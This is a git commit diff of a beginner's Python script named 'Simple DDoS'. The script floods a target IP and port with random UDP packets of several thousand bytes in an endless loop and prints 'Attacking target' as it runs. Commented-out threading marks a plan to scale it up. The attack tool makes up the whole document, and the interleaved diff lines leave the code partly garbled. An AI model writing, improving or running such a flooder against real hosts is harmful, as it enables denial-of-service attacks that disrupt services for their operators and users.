Create new branch to simplify things

This commit is contained in:
Tiffany 2023-11-14 11:50:49 -05:00
parent 904ec77932
commit 9ece63b941

View file

@ -1,9 +1,9 @@
import os
import os, sys, socket
import platform
import random
from datetime import datetime as dt
# import threading
import socket
os.system('figlet Simple DDoS | lolcat')
# TODO: Read docs on time, os, random, threading, and platform
# TODO: Take questions to Mastodon
@ -17,9 +17,10 @@ G = '\033[32m'
C = '\033[36m'
W = '\033[0m'
# v1: just create ddos script
# Instead of using SOCK_STREAM for TCP connections
# Instead ofusing SOCK_STREAM for TCP connections
# using SOCK_DGRAM for UDP connections to keep packets small
# If iterating on this, will use SOCK_STREAM to send bigger packets if I actually understand
# what that means for the network being hit
@ -29,67 +30,52 @@ W = '\033[0m'
# TODO: research ipv6
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes1 = random.randbytes(2000)
bytes2 = random.randbytes(2900)
system = platform.uname().system
# this is better system = getattr(platform.uname(), "system")
# instead of hardcoding a specific index
# because if something in the l
def check_os():
if system == 'Windows':
os.system("cls")
elif system == 'Unix':
os.system("clear")
class DDoS:
pass
def __init__(self, target, port, ip):
self.target = target
self.port = port
self.ip = ip
# call function to check what system is used
# Why use a try
def ddos(target, port, ipaddress):
def ddos(target, port):
sent = 0
try:
while True:
sock.sendto(bytes1, (target, port))
sent = sent + 1
if len(sys.argv) == 3:
socket.gethostbyname(sys.argv[1]) # create string from IPv4 to pass as argument to sentto
else:
print('\n' + R + '[!]' + R + 'Invalid amount of arguments')
print('\n' + 'Syntax: python3 ddos.py <ip> <port>')
print("Sending %s packets to %s through port:%s" % (sent, ipaddress, port))
while True:
sock.sendto(bytes2, (target, port))
sent = sent + 1
print("Sending %s packets to %s through port:%s" % (sent, ipaddress, port))
print("-" * 25)
print("Attacking target:" + target)
print("Time started:" + str(dt.now()))
# Break out of infinite loop
try:
# create an infinite loop to continuously send junk data
# to target ip
while True:
# Create a new socket
# assign socket to s
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except KeyboardInterrupt:
print('\n' + R + '[!]' + C + 'Keyboard Interrupt. Terminating session...' + W)
# create a variable that will send 4000 random bytes
except socket.gaierror:
print(R + '[-] ' + C + 'Unknown address.')
print(R + '[-] ' + C + 'Please input the correct ip address.')
bytes1 = random.randbytes(4000)
# bytes2 = random.randbytes(4000)
# system = platform.uname().system
except NameError:
print(R + '[-] ' + C + 'Unknown address.')
print(R + '[-] ' + C + 'Please input the correct ip address.')
# send 4000 random bytes to the target on port passed as arg
s.sendto(bytes1, (target, port))
sent = sent + 1
# Break out of infinite loop
# For introducing to the script later
except KeyboardInterrupt:
print('\n' + R + '[!]' + C + 'Keyboard Interrupt. Terminating session...' + W)
except socket.gaierror:
print(R + '[-] ' + C + 'Unknown address.')
print(R + '[-] ' + C + 'Please input the correct ip address.')
except NameError:
print(R + '[-] ' + C + 'Unknown address.')
print(R + '[-] ' + C + 'Please input the correct ip address.')
# for i in range(150):
# thread = threading.Thread(target=ddos)
# thread.start()